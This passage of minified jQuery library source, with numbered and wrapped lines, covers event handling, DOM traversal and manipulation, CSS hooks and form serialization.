979(e.originalEvent.returnValue=e.result)}}},simulate:function(e,t,n,r){var i=x.extend(new x.Event,n,
980
981{type:e,isSimulated:!0,originalEvent:{}});r?x.event.trigger(i,null,t):x.event.dispatch.call
982
983(t,i),i.isDefaultPrevented()&&n.preventDefault()}},x.removeEvent=a.removeEventListener?function(e,t,n)
984
985{e.removeEventListener&&e.removeEventListener(t,n,!1)}:function(e,t,n){var r="on"+t;e.detachEvent&&
986
987(typeof e[r]===i&&(e[r]=null),e.detachEvent(r,n))},x.Event=function(e,n){return this instanceof x.Event?
988
989(e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||
990
991e.returnValue===!1||e.getPreventDefault&&e.getPreventDefault()?it:ot):this.type=e,n&&x.extend
992
993(this,n),this.timeStamp=e&&e.timeStamp||x.now(),this[x.expando]=!0,t):new x.Event
994
995(e,n)},x.Event.prototype=
996
997{isDefaultPrevented:ot,isPropagationStopped:ot,isImmediatePropagationStopped:ot,preventDefault:function
998
999(){var e=this.originalEvent;this.isDefaultPrevented=it,e&&(e.preventDefault?e.preventDefault
1000
1001():e.returnValue=!1)},stopPropagation:function(){var e=this.originalEvent;this.isPropagationStopped=it,e&&
1002
1003(e.stopPropagation&&e.stopPropagation(),e.cancelBubble=!0)},stopImmediatePropagation:function()
1004
1005{this.isImmediatePropagationStopped=it,this.stopPropagation()}},x.each
1006
1007({mouseenter:"mouseover",mouseleave:"mouseout"},function(e,t){x.event.special[e]=
1008
1009{delegateType:t,bindType:t,handle:function(e){var n,r=this,i=e.relatedTarget,o=e.handleObj;return(!i||i!
1010
1011==r&&!x.contains(r,i))&&(e.type=o.origType,n=o.handler.apply
1012
1013(this,arguments),e.type=t),n}}}),x.support.submitBubbles||(x.event.special.submit={setup:function(){return
1014
1015x.nodeName(this,"form")?!1:(x.event.add(this,"click._submit keypress._submit",function(e){var
1016
1017n=e.target,r=x.nodeName(n,"input")||x.nodeName(n,"button")?n.form:t;r&&!x._data(r,"submitBubbles")&&
1018
1019(x.event.add(r,"submit._submit",function(e){e._submit_bubble=!0}),x._data(r,"submitBubbles",!
1020
10210))}),t)},postDispatch:function(e){e._submit_bubble&&(delete e._submit_bubble,this.parentNode&&!
1022
1023e.isTrigger&&x.event.simulate("submit",this.parentNode,e,!0))},teardown:function(){return x.nodeName
1024
1025(this,"form")?!1:(x.event.remove(this,"._submit"),t)}}),x.support.changeBubbles||(x.event.special.change=
1026
1027{setup:function(){return Z.test(this.nodeName)?(("checkbox"===this.type||"radio"===this.type)&&
1028
1029(x.event.add(this,"propertychange._change",function(e){"checked"===e.originalEvent.propertyName&&
1030
1031(this._just_changed=!0)}),x.event.add(this,"click._change",function(e){this._just_changed&&!e.isTrigger&&
1032
1033(this._just_changed=!1),x.event.simulate("change",this,e,!0)})),!1):(x.event.add
1034
1035(this,"beforeactivate._change",function(e){var t=e.target;Z.test(t.nodeName)&&!x._data(t,"changeBubbles")
1036
1037&&(x.event.add(t,"change._change",function(e){!this.parentNode||e.isSimulated||e.isTrigger||
1038
1039x.event.simulate("change",this.parentNode,e,!0)}),x._data(t,"changeBubbles",!0))}),t)},handle:function(e){var
1040
1041n=e.target;return this!==n||e.isSimulated||e.isTrigger||"radio"!==n.type&&"checkbox"!==n.type?
1042
1043e.handleObj.handler.apply(this,arguments):t},teardown:function(){return x.event.remove(this,"._change"),!
1044
1045Z.test(this.nodeName)}}),x.support.focusinBubbles||x.each({focus:"focusin",blur:"focusout"},function(e,t){var
1046
1047n=0,r=function(e){x.event.simulate(t,e.target,x.event.fix(e),!0)};x.event.special[t]={setup:function(){0===n+
1048
1049+&&a.addEventListener(e,r,!0)},teardown:function(){0===--n&&a.removeEventListener(e,r,!0)}}}),x.fn.extend
1050
1051({on:function(e,n,r,i,o){var a,s;if("object"==typeof e){"string"!=typeof n&&(r=r||n,n=t);for(a in e)this.on(a,n,r,e
1052
1053[a],o);return this}if(null==r&&null==i?(i=n,r=n=t):null==i&&("string"==typeof n?(i=r,r=t):(i=r,r=n,n=t)),i===!1)
1054
1055i=ot;else if(!i)return this;return 1===o&&(s=i,i=function(e){return x().off(e),s.apply
1056
1057(this,arguments)},i.guid=s.guid||(s.guid=x.guid++)),this.each(function(){x.event.add
1058
1059(this,e,i,r,n)})},one:function(e,t,n,r){return this.on(e,t,n,r,1)},off:function(e,n,r){var i,o;if
1060
1061(e&&e.preventDefault&&e.handleObj)return i=e.handleObj,x(e.delegateTarget).off(i.namespace?i.origType
1062
1063+"."+i.namespace:i.origType,i.selector,i.handler),this;if("object"==typeof e){for(o in e)this.off(o,n,e[o]);return
1064
1065this}return(n===!1||"function"==typeof n)&&(r=n,n=t),r===!1&&(r=ot),this.each(function(){x.event.remove
1066
1067(this,e,r,n)})},trigger:function(e,t){return this.each(function(){x.event.trigger
1068
1069(e,t,this)})},triggerHandler:function(e,n){var r=this[0];return r?x.event.trigger(e,n,r,!0):t}});var st=/^.[^:#\[\.,]*
1070
1071$/,lt=/^(?:parents|prev(?:Until|All))/,ut=x.expr.match.needsContext,ct={children:!0,contents:!0,next:!0,prev:!
1072
10730};x.fn.extend({find:function(e){var t,n=[],r=this,i=r.length;if("string"!=typeof e)return this.pushStack(x
1074
1075(e).filter(function(){for(t=0;i>t;t++)if(x.contains(r[t],this))return!0}));for(t=0;i>t;t++)x.find(e,r[t],n);return
1076
1077n=this.pushStack(i>1?x.unique(n):n),n.selector=this.selector?this.selector+" "+e:e,n},has:function(e){var t,n=x
1078
1079(e,this),r=n.length;return this.filter(function(){for(t=0;r>t;t++)if(x.contains(this,n[t]))return!0})},not:function(e)
1080
1081{return this.pushStack(ft(this,e||[],!0))},filter:function(e){return this.pushStack(ft(this,e||[],!1))},is:function(e)
1082
1083{return!!ft(this,"string"==typeof e&&ut.test(e)?x(e):e||[],!1).length},closest:function(e,t){var
1084
1085n,r=0,i=this.length,o=[],a=ut.test(e)||"string"!=typeof e?x(e,t||this.context):0;for(;i>r;r++)for(n=this[r];n&&n!
1086
1087==t;n=n.parentNode)if(11>n.nodeType&&(a?a.index(n)>-1:1===n.nodeType&&x.find.matchesSelector(n,e)))
1088
1089{n=o.push(n);break}return this.pushStack(o.length>1?x.unique(o):o)},index:function(e){return
1090
1091e?"string"==typeof e?x.inArray(this[0],x(e)):x.inArray(e.jquery?e[0]:e,this):this[0]&&this[0].parentNode?
1092
1093this.first().prevAll().length:-1},add:function(e,t){var n="string"==typeof e?x(e,t):x.makeArray
1094
1095(e&&e.nodeType?[e]:e),r=x.merge(this.get(),n);return this.pushStack(x.unique(r))},addBack:function(e){return
1096
1097this.add(null==e?this.prevObject:this.prevObject.filter(e))}});function pt(e,t){do e=e[t];while(e&&1!
1098
1099==e.nodeType);return e}x.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?
1100
1101t:null},parents:function(e){return x.dir(e,"parentNode")},parentsUntil:function(e,t,n){return x.dir
1102
1103(e,"parentNode",n)},next:function(e){return pt(e,"nextSibling")},prev:function(e){return pt
1104
1105(e,"previousSibling")},nextAll:function(e){return x.dir(e,"nextSibling")},prevAll:function(e){return x.dir
1106
1107(e,"previousSibling")},nextUntil:function(e,t,n){return x.dir(e,"nextSibling",n)},prevUntil:function(e,t,n){return
1108
1109x.dir(e,"previousSibling",n)},siblings:function(e){return x.sibling((e.parentNode||
1110
1111{}).firstChild,e)},children:function(e){return x.sibling(e.firstChild)},contents:function(e){return x.nodeName
1112
1113(e,"iframe")?e.contentDocument||e.contentWindow.document:x.merge([],e.childNodes)}},function(e,t){x.fn
1114
1115[e]=function(n,r){var i=x.map(this,t,n);return"Until"!==e.slice(-5)&&(r=n),r&&"string"==typeof r&&(i=x.filter
1116
1117(r,i)),this.length>1&&(ct[e]||(i=x.unique(i)),lt.test(e)&&(i=i.reverse())),this.pushStack(i)}}),x.extend
1118
1119({filter:function(e,t,n){var r=t[0];return n&&(e=":not("+e+")"),1===t.length&&1===r.nodeType?
1120
1121x.find.matchesSelector(r,e)?[r]:[]:x.find.matches(e,x.grep(t,function(e){return 1===e.nodeType}))},dir:function
1122
1123(e,n,r){var i=[],o=e[n];while(o&&9!==o.nodeType&&(r===t||1!==o.nodeType||!x(o).is(r)))
1124
11251===o.nodeType&&i.push(o),o=o[n];return i},sibling:function(e,t){var n=[];for(;e;e=e.nextSibling)
1126
11271===e.nodeType&&e!==t&&n.push(e);return n}});function ft(e,t,n){if(x.isFunction(t))return x.grep(e,function
1128
1129(e,r){return!!t.call(e,r,e)!==n});if(t.nodeType)return x.grep(e,function(e){return e===t!==n});if("string"==typeof
1130
1131t){if(st.test(t))return x.filter(t,e,n);t=x.filter(t,e)}return x.grep(e,function(e){return x.inArray(e,t)>=0!==n})}
1132
1133function dt(e){var t=ht.split("|"),n=e.createDocumentFragment();if(n.createElement)while(t.length)
1134
1135n.createElement(t.pop());return n}var ht="abbr|article|aside|audio|bdi|canvas|data|datalist|details|
1136
1137figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|
1138
1139video",gt=/ jQuery\d+="(?:null|\d+)"/g,mt=RegExp("<(?:"+ht+")[\\s/>]","i"),yt=/^\s+/,vt=/<(?!area|br|col|
1140
1141embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,bt=/<([\w:]+)/,xt=/<tbody/i,wt=/<|&#?\w
1142
1143+;/,Tt=/<(?:script|style|link)/i,Ct=/^(?:checkbox|radio)$/i,Nt=/checked\s*(?:[^=]|=\s*.checked.)/i,kt=/^$|\/
1144
1145(?:java|ecma)script/i,Et=/^true\/(.*)/,St=/^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g,At={option:[1,"<select
1146
1147multiple='multiple'>","</select>"],legend:[1,"<fieldset>","</fieldset>"],area:[1,"<map>","</map>"],param:
1148
1149[1,"<object>","</object>"],thead:[1,"<table>","</table>"],tr:[2,"<table><tbody>","</tbody></table>"],col:
1150
1151[2,"<table><tbody></tbody><colgroup>","</colgroup></table>"],td:
1152
1153[3,"<table><tbody><tr>","</tr></tbody></table>"],_default:x.support.htmlSerialize?[0,"",""]:
1154
1155[1,"X<div>","</div>"]},jt=dt(a),Dt=jt.appendChild(a.createElement
1156
1157("div"));At.optgroup=At.option,At.tbody=At.tfoot=At.colgroup=At.caption=At.thead,At.th=At.td,x.fn.extend
1158
1159({text:function(e){return x.access(this,function(e){return e===t?x.text(this):this.empty().append((this[0]
1160
1161&&this[0].ownerDocument||a).createTextNode(e))},null,e,arguments.length)},append:function(){return
1162
1163this.domManip(arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var
1164
1165t=Lt(this,e);t.appendChild(e)}})},prepend:function(){return this.domManip(arguments,function(e){if
1166
1167(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=Lt(this,e);t.insertBefore
1168
1169(e,t.firstChild)}})},before:function(){return this.domManip(arguments,function(e)
1170
1171{this.parentNode&&this.parentNode.insertBefore(e,this)})},after:function(){return this.domManip
1172
1173(arguments,function(e){this.parentNode&&this.parentNode.insertBefore
1174
1175(e,this.nextSibling)})},remove:function(e,t){var n,r=e?x.filter(e,this):this,i=0;for(;null!=(n=r[i]);i++)t||1!
1176
1177==n.nodeType||x.cleanData(Ft(n)),n.parentNode&&(t&&x.contains(n.ownerDocument,n)&&_t(Ft
1178
1179(n,"script")),n.parentNode.removeChild(n));return this},empty:function(){var e,t=0;for(;null!=(e=this[t]);t++)
1180
1181{1===e.nodeType&&x.cleanData(Ft(e,!1));while(e.firstChild)e.removeChild
1182
1183(e.firstChild);e.options&&x.nodeName(e,"select")&&(e.options.length=0)}return this},clone:function(e,t)
1184
1185{return e=null==e?!1:e,t=null==t?e:t,this.map(function(){return x.clone(this,e,t)})},html:function(e){return
1186
1187x.access(this,function(e){var n=this[0]||{},r=0,i=this.length;if(e===t)return 1===n.nodeType?
1188
1189n.innerHTML.replace(gt,""):t;if(!("string"!=typeof e||Tt.test(e)||!x.support.htmlSerialize&&mt.test(e)||!
1190
1191x.support.leadingWhitespace&&yt.test(e)||At[(bt.exec(e)||["",""])[1].toLowerCase()])){e=e.replace(vt,"<
1192
1193$1></$2>");try{for(;i>r;r++)n=this[r]||{},1===n.nodeType&&(x.cleanData(Ft(n,!1)),n.innerHTML=e);n=0}catch(o)
1194
1195{}}n&&this.empty().append(e)},null,e,arguments.length)},replaceWith:function(){var e=x.map(this,function(e)
1196
1197{return[e.nextSibling,e.parentNode]}),t=0;return this.domManip(arguments,function(n){var r=e[t++],i=e[t+
1198
1199+];i&&(r&&r.parentNode!==i&&(r=this.nextSibling),x(this).remove(),i.insertBefore(n,r))},!0),t?
1200
1201this:this.remove()},detach:function(e){return this.remove(e,!0)},domManip:function(e,t,n){e=d.apply([],e);var
1202
1203r,i,o,a,s,l,u=0,c=this.length,p=this,f=c-1,h=e[0],g=x.isFunction(h);if(g||!(1>=c||"string"!=typeof h||
1204
1205x.support.checkClone)&&Nt.test(h))return this.each(function(r){var i=p.eq(r);g&&(e[0]=h.call(this,r,i.html
1206
1207())),i.domManip(e,t,n)});if(c&&(l=x.buildFragment(e,this[0].ownerDocument,!1,!
1208
1209n&&this),r=l.firstChild,1===l.childNodes.length&&(l=r),r)){for(a=x.map(Ft(l,"script"),Ht),o=a.length;c>u;u++)
1210
1211i=l,u!==f&&(i=x.clone(i,!0,!0),o&&x.merge(a,Ft(i,"script"))),t.call(this[u],i,u);if(o)for(s=a[a.length-
1212
12131].ownerDocument,x.map(a,qt),u=0;o>u;u++)i=a[u],kt.test(i.type||"")&&!x._data(i,"globalEval")&&x.contains
1214
1215(s,i)&&(i.src?x._evalUrl(i.src):x.globalEval((i.text||i.textContent||i.innerHTML||"").replace(St,"")));l=r=null}
1216
1217return this}});function Lt(e,t){return x.nodeName(e,"table")&&x.nodeName(1===t.nodeType?
1218
1219t:t.firstChild,"tr")?e.getElementsByTagName("tbody")[0]||e.appendChild(e.ownerDocument.createElement
1220
1221("tbody")):e}function Ht(e){return e.type=(null!==x.find.attr(e,"type"))+"/"+e.type,e}function qt(e){var
1222
1223t=Et.exec(e.type);return t?e.type=t[1]:e.removeAttribute("type"),e}function _t(e,t){var n,r=0;for(;null!=(n=e
1224
1225[r]);r++)x._data(n,"globalEval",!t||x._data(t[r],"globalEval"))}function Mt(e,t){if(1===t.nodeType&&x.hasData
1226
1227(e)){var n,r,i,o=x._data(e),a=x._data(t,o),s=o.events;if(s){delete a.handle,a.events={};for(n in s)for(r=0,i=s
1228
1229[n].length;i>r;r++)x.event.add(t,n,s[n][r])}a.data&&(a.data=x.extend({},a.data))}}function Ot(e,t){var n,r,i;if
1230
1231(1===t.nodeType){if(n=t.nodeName.toLowerCase(),!x.support.noCloneEvent&&t[x.expando]){i=x._data(t);for(r
1232
1233in i.events)x.removeEvent(t,r,i.handle);t.removeAttribute(x.expando)}"script"===n&&t.text!==e.text?(Ht
1234
1235(t).text=e.text,qt(t)):"object"===n?(t.parentNode&&
1236
1237(t.outerHTML=e.outerHTML),x.support.html5Clone&&e.innerHTML&&!x.trim(t.innerHTML)&&
1238
1239(t.innerHTML=e.innerHTML)):"input"===n&&Ct.test(e.type)?(t.defaultChecked=t.checked=e.checked,t.value!
1240
1241==e.value&&(t.value=e.value)):"option"===n?t.defaultSelected=t.selected=e.defaultSelected:
1242
1243("input"===n||"textarea"===n)&&(t.defaultValue=e.defaultValue)}}x.each
1244
1245({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"
1246
1247},function(e,t){x.fn[e]=function(e){var n,r=0,i=[],o=x(e),a=o.length-1;for(;a>=r;r++)n=r===a?this:this.clone(!0),x
1248
1249(o[r])[t](n),h.apply(i,n.get());return this.pushStack(i)}});function Ft(e,n){var r,o,a=0,s=typeof
1250
1251e.getElementsByTagName!==i?e.getElementsByTagName(n||"*"):typeof e.querySelectorAll!==i?
1252
1253e.querySelectorAll(n||"*"):t;if(!s)for(s=[],r=e.childNodes||e;null!=(o=r[a]);a++)!n||x.nodeName(o,n)?s.push
1254
1255(o):x.merge(s,Ft(o,n));return n===t||n&&x.nodeName(e,n)?x.merge([e],s):s}function Bt(e){Ct.test(e.type)&&
1256
1257(e.defaultChecked=e.checked)}x.extend({clone:function(e,t,n){var r,i,o,a,s,l=x.contains
1258
1259(e.ownerDocument,e);if(x.support.html5Clone||x.isXMLDoc(e)||!mt.test("<"+e.nodeName+">")?
1260
1261o=e.cloneNode(!0):(Dt.innerHTML=e.outerHTML,Dt.removeChild(o=Dt.firstChild)),!
1262
1263(x.support.noCloneEvent&&x.support.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||x.isXMLDoc
1264
1265(e)))for(r=Ft(o),s=Ft(e),a=0;null!=(i=s[a]);++a)r[a]&&Ot(i,r[a]);if(t)if(n)for(s=s||Ft(e),r=r||Ft(o),a=0;null!=(i=s
1266
1267[a]);a++)Mt(i,r[a]);else Mt(e,o);return r=Ft(o,"script"),r.length>0&&_t(r,!l&&Ft
1268
1269(e,"script")),r=s=i=null,o},buildFragment:function(e,t,n,r){var i,o,a,s,l,u,c,p=e.length,f=dt(t),d=[],h=0;for(;p>h;h
1270
1271++)if(o=e[h],o||0===o)if("object"===x.type(o))x.merge(d,o.nodeType?[o]:o);else if(wt.test(o)){s=s||
1272
1273f.appendChild(t.createElement("div")),l=(bt.exec(o)||["",""])[1].toLowerCase(),c=At[l]||
1274
1275At._default,s.innerHTML=c[1]+o.replace(vt,"<$1></$2>")+c[2],i=c[0];while(i--)s=s.lastChild;if(!
1276
1277x.support.leadingWhitespace&&yt.test(o)&&d.push(t.createTextNode(yt.exec(o)[0])),!x.support.tbody)
1278
1279{o="table"!==l||xt.test(o)?"<table>"!==c[1]||xt.test(o)?0:s:s.firstChild,i=o&&o.childNodes.length;while(i--)
1280
1281x.nodeName(u=o.childNodes[i],"tbody")&&!u.childNodes.length&&o.removeChild(u)}x.merge
1282
1283(d,s.childNodes),s.textContent="";while(s.firstChild)s.removeChild(s.firstChild);s=f.lastChild}else d.push
1284
1285(t.createTextNode(o));s&&f.removeChild(s),x.support.appendChecked||x.grep(Ft(d,"input"),Bt),h=0;while
1286
1287(o=d[h++])if((!r||-1===x.inArray(o,r))&&(a=x.contains(o.ownerDocument,o),s=Ft(f.appendChild
1288
1289(o),"script"),a&&_t(s),n)){i=0;while(o=s[i++])kt.test(o.type||"")&&n.push(o)}return
1290
1291s=null,f},cleanData:function(e,t){var
1292
1293n,r,o,a,s=0,l=x.expando,u=x.cache,c=x.support.deleteExpando,f=x.event.special;for(;null!=(n=e[s]);s++)if((t||
1294
1295x.acceptData(n))&&(o=n[l],a=o&&u[o])){if(a.events)for(r in a.events)f[r]?x.event.remove(n,r):x.removeEvent
1296
1297(n,r,a.handle);
1298u[o]&&(delete u[o],c?delete n[l]:typeof n.removeAttribute!==i?n.removeAttribute(l):n[l]=null,p.push
1299
1300(o))}},_evalUrl:function(e){return x.ajax({url:e,type:"GET",dataType:"script",async:!1,global:!1,"throws":!
1301
13020})}}),x.fn.extend({wrapAll:function(e){if(x.isFunction(e))return this.each(function(t){x(this).wrapAll(e.call
1303
1304(this,t))});if(this[0]){var t=x(e,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&t.insertBefore
1305
1306(this[0]),t.map(function(){var e=this;while(e.firstChild&&1===e.firstChild.nodeType)e=e.firstChild;return
1307
1308e}).append(this)}return this},wrapInner:function(e){return x.isFunction(e)?this.each(function(t){x
1309
1310(this).wrapInner(e.call(this,t))}):this.each(function(){var t=x(this),n=t.contents();n.length?n.wrapAll
1311
1312(e):t.append(e)})},wrap:function(e){var t=x.isFunction(e);return this.each(function(n){x(this).wrapAll(t?e.call
1313
1314(this,n):e)})},unwrap:function(){return this.parent().each(function(){x.nodeName(this,"body")||x
1315
1316(this).replaceWith(this.childNodes)}).end()}});var Pt,Rt,Wt,$t=/alpha\([^)]*\)/i,It=/opacity\s*=\s*([^)]*)/,zt=/^
1317
1318(top|right|bottom|left)$/,Xt=/^(none|table(?!-c[ea]).+)/,Ut=/^margin/,Vt=RegExp("^("+w+")
1319
1320(.*)$","i"),Yt=RegExp("^("+w+")(?!px)[a-z%]+$","i"),Jt=RegExp("^([+-])=("+w+")","i"),Gt={BODY:"block"},Qt=
1321
1322{position:"absolute",visibility:"hidden",display:"block"},Kt={letterSpacing:0,fontWeight:400},Zt=
1323
1324["Top","Right","Bottom","Left"],en=["Webkit","O","Moz","ms"];function tn(e,t){if(t in e)return t;var n=t.charAt
1325
1326(0).toUpperCase()+t.slice(1),r=t,i=en.length;while(i--)if(t=en[i]+n,t in e)return t;return r}function nn(e,t){return
1327
1328e=t||e,"none"===x.css(e,"display")||!x.contains(e.ownerDocument,e)}function rn(e,t){var n,r,i,o=
1329
1330[],a=0,s=e.length;for(;s>a;a++)r=e[a],r.style&&(o[a]=x._data(r,"olddisplay"),n=r.style.display,t?(o[a]||"none"!
1331
1332==n||(r.style.display=""),""===r.style.display&&nn(r)&&(o[a]=x._data(r,"olddisplay",ln(r.nodeName)))):o[a]||
1333
1334(i=nn(r),(n&&"none"!==n||!i)&&x._data(r,"olddisplay",i?n:x.css(r,"display"))));for(a=0;s>a;a++)r=e[a],r.style&&
1335
1336(t&&"none"!==r.style.display&&""!==r.style.display||(r.style.display=t?o[a]||"":"none"));return e}x.fn.extend
1337
1338({css:function(e,n){return x.access(this,function(e,n,r){var i,o,a={},s=0;if(x.isArray(n)){for(o=Rt
1339
1340(e),i=n.length;i>s;s++)a[n[s]]=x.css(e,n[s],!1,o);return a}return r!==t?x.style(e,n,r):x.css
1341
1342(e,n)},e,n,arguments.length>1)},show:function(){return rn(this,!0)},hide:function(){return rn
1343
1344(this)},toggle:function(e){return"boolean"==typeof e?e?this.show():this.hide():this.each(function(){nn(this)?x
1345
1346(this).show():x(this).hide()})}}),x.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=Wt
1347
1348(e,"opacity");return""===n?"1":n}}}},cssNumber:{columnCount:!0,fillOpacity:!0,fontWeight:!0,lineHeight:!
1349
13500,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:
1351
1352{"float":x.support.cssFloat?"cssFloat":"styleFloat"},style:function(e,n,r,i){if(e&&3!==e.nodeType&&8!
1353
1354==e.nodeType&&e.style){var o,a,s,l=x.camelCase(n),u=e.style;if(n=x.cssProps[l]||(x.cssProps[l]=tn
1355
1356(u,l)),s=x.cssHooks[n]||x.cssHooks[l],r===t)return s&&"get"in s&&(o=s.get(e,!1,i))!==t?o:u[n];if(a=typeof
1357
1358r,"string"===a&&(o=Jt.exec(r))&&(r=(o[1]+1)*o[2]+parseFloat(x.css(e,n)),a="number"),!
1359
1360(null==r||"number"===a&&isNaN(r)||("number"!==a||x.cssNumber[l]||(r
1361
1362+="px"),x.support.clearCloneStyle||""!==r||0!==n.indexOf("background")||(u[n]="inherit"),s&&"set"in s&&
1363
1364(r=s.set(e,r,i))===t)))try{u[n]=r}catch(c){}}},css:function(e,n,r,i){var o,a,s,l=x.camelCase(n);return n=x.cssProps
1365
1366[l]||(x.cssProps[l]=tn(e.style,l)),s=x.cssHooks[n]||x.cssHooks[l],s&&"get"in s&&(a=s.get(e,!0,r)),a===t&&
1367
1368(a=Wt(e,n,i)),"normal"===a&&n in Kt&&(a=Kt[n]),""===r||r?(o=parseFloat(a),r===!0||x.isNumeric(o)?o||
1369
13700:a):a}}),e.getComputedStyle?(Rt=function(t){return e.getComputedStyle(t,null)},Wt=function(e,n,r){var
1371
1372i,o,a,s=r||Rt(e),l=s?s.getPropertyValue(n)||s[n]:t,u=e.style;return s&&(""!==l||x.contains
1373
1374(e.ownerDocument,e)||(l=x.style(e,n)),Yt.test(l)&&Ut.test(n)&&
1375
1376(i=u.width,o=u.minWidth,a=u.maxWidth,u.minWidth=u.maxWidth=u.width=l,l=s.width,u.width=i,u.minWidth=
1377
1378o,u.maxWidth=a)),l}):a.documentElement.currentStyle&&(Rt=function(e){return e.currentStyle},Wt=function
1379
1380(e,n,r){var i,o,a,s=r||Rt(e),l=s?s[n]:t,u=e.style;return null==l&&u&&u[n]&&(l=u[n]),Yt.test(l)&&!zt.test(n)&&
1381
1382(i=u.left,o=e.runtimeStyle,a=o&&o.left,a&&
1383
1384(o.left=e.currentStyle.left),u.left="fontSize"===n?"1em":l,l=u.pixelLeft+"px",u.left=i,a&&
1385
1386(o.left=a)),""===l?"auto":l});function on(e,t,n){var r=Vt.exec(t);return r?Math.max(0,r[1]-(n||0))+(r[2]||"px"):t}
1387
1388function an(e,t,n,r,i){var o=n===(r?"border":"content")?4:"width"===t?1:0,a=0;for(;4>o;o+=2)"margin"===n&&
1389
1390(a+=x.css(e,n+Zt[o],!0,i)),r?("content"===n&&(a-=x.css(e,"padding"+Zt[o],!0,i)),"margin"!==n&&(a-=x.css
1391
1392(e,"border"+Zt[o]+"Width",!0,i))):(a+=x.css(e,"padding"+Zt[o],!0,i),"padding"!==n&&(a+=x.css(e,"border"+Zt
1393
1394[o]+"Width",!0,i)));return a}function sn(e,t,n){var r=!0,i="width"===t?e.offsetWidth:e.offsetHeight,o=Rt
1395
1396(e),a=x.support.boxSizing&&"border-box"===x.css(e,"boxSizing",!1,o);if(0>=i||null==i){if(i=Wt(e,t,o),(0>i||
1397
1398null==i)&&(i=e.style[t]),Yt.test(i))return i;r=a&&(x.support.boxSizingReliable||i===e.style[t]),i=parseFloat
1399
1400(i)||0}return i+an(e,t,n||(a?"border":"content"),r,o)+"px"}function ln(e){var t=a,n=Gt[e];return n||(n=un
1401
1402(e,t),"none"!==n&&n||(Pt=(Pt||x("<iframe frameborder='0' width='0' height='0'/>").css("cssText","display:block
1403
1404!important")).appendTo(t.documentElement),t=(Pt[0].contentWindow||Pt
1405
1406[0].contentDocument).document,t.write("<!doctype html><html><body>"),t.close(),n=un(e,t),Pt.detach()),Gt
1407
1408[e]=n),n}function un(e,t){var n=x(t.createElement(e)).appendTo(t.body),r=x.css(n[0],"display");return
1409
1410n.remove(),r}x.each(["height","width"],function(e,n){x.cssHooks[n]={get:function(e,r,i){return r?
1411
14120===e.offsetWidth&&Xt.test(x.css(e,"display"))?x.swap(e,Qt,function(){return sn(e,n,i)}):sn
1413
1414(e,n,i):t},set:function(e,t,r){var i=r&&Rt(e);return on(e,t,r?an(e,n,r,x.support.boxSizing&&"border-
1415
1416box"===x.css(e,"boxSizing",!1,i),i):0)}}}),x.support.opacity||(x.cssHooks.opacity={get:function(e,t){return
1417
1418It.test((t&&e.currentStyle?e.currentStyle.filter:e.style.filter)||"")?.01*parseFloat(RegExp.
1419
1420$1)+"":t?"1":""},set:function(e,t){var n=e.style,r=e.currentStyle,i=x.isNumeric(t)?"alpha(opacity="+100*t
1421
1422+")":"",o=r&&r.filter||n.filter||"";n.zoom=1,(t>=1||""===t)&&""===x.trim(o.replace($t,""))
1423
1424&&n.removeAttribute&&(n.removeAttribute("filter"),""===t||r&&!r.filter)||(n.filter=$t.test(o)?o.replace
1425
1426($t,i):o+" "+i)}}),x(function(){x.support.reliableMarginRight||(x.cssHooks.marginRight={get:function(e,n){return
1427
1428n?x.swap(e,{display:"inline-block"},Wt,[e,"marginRight"]):t}}),!
1429
1430x.support.pixelPosition&&x.fn.position&&x.each(["top","left"],function(e,n){x.cssHooks[n]={get:function(e,r)
1431
1432{return r?(r=Wt(e,n),Yt.test(r)?x(e).position()[n]+"px":r):t}}})}),x.expr&&x.expr.filters&&
1433
1434(x.expr.filters.hidden=function(e){return 0>=e.offsetWidth&&0>=e.offsetHeight||!
1435
1436x.support.reliableHiddenOffsets&&"none"===(e.style&&e.style.display||x.css
1437
1438(e,"display"))},x.expr.filters.visible=function(e){return!x.expr.filters.hidden(e)}),x.each
1439
1440({margin:"",padding:"",border:"Width"},function(e,t){x.cssHooks[e+t]={expand:function(n){var r=0,i=
1441
1442{},o="string"==typeof n?n.split(" "):[n];for(;4>r;r++)i[e+Zt[r]+t]=o[r]||o[r-2]||o[0];return i}},Ut.test(e)||
1443
1444(x.cssHooks[e+t].set=on)});var cn=/%20/g,pn=/\[\]$/,fn=/\r?\n/g,dn=/^(?:submit|button|image|reset|
1445
1446file)$/i,hn=/^(?:input|select|textarea|keygen)/i;x.fn.extend({serialize:function(){return x.param
1447
1448(this.serializeArray())},serializeArray:function(){return this.map(function(){var e=x.prop
1449
1450(this,"elements");return e?x.makeArray(e):this}).filter(function(){var e=this.type;return this.name&&!x
1451
1452(this).is(":disabled")&&hn.test(this.nodeName)&&!dn.test(e)&&(this.checked||!Ct.test(e))}).map(function
1453
1454(e,t){var n=x(this).val();return null==n?null:x.isArray(n)?x.map(n,function(e){return
1455
1456{name:t.name,value:e.replace(fn,"\r\n")}}):{name:t.name,value:n.replace(fn,"\r\n")}}).get
1457
1458()}}),x.param=function(e,n){var r,i=[],o=function(e,t){t=x.isFunction(t)?t():null==t?"":t,i[i.length]
1459
1460=encodeURIComponent(e)+"="+encodeURIComponent(t)};if(n===t&&
1461
1462(n=x.ajaxSettings&&x.ajaxSettings.traditional),x.isArray(e)||e.jquery&&!x.isPlainObject(e))x.each(e,function()
1463
1464{o(this.name,this.value)});else for(r in e)gn(r,e[r],n,o);return i.join("&").replace(cn,"+")};function gn(e,t,n,r){var
1465
1466i;if(x.isArray(t))x.each(t,function(t,i){n||pn.test(e)?r(e,i):gn(e+"["+("object"==typeof i?t:"")+"]",i,n,r)});else if
1467
1468(n||"object"!==x.type(t))r(e,t);else for(i in t)gn(e+"["+i+"]",t[i],n,r)}x.each("blur focus focusin focusout load
1469
1470resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter
1471
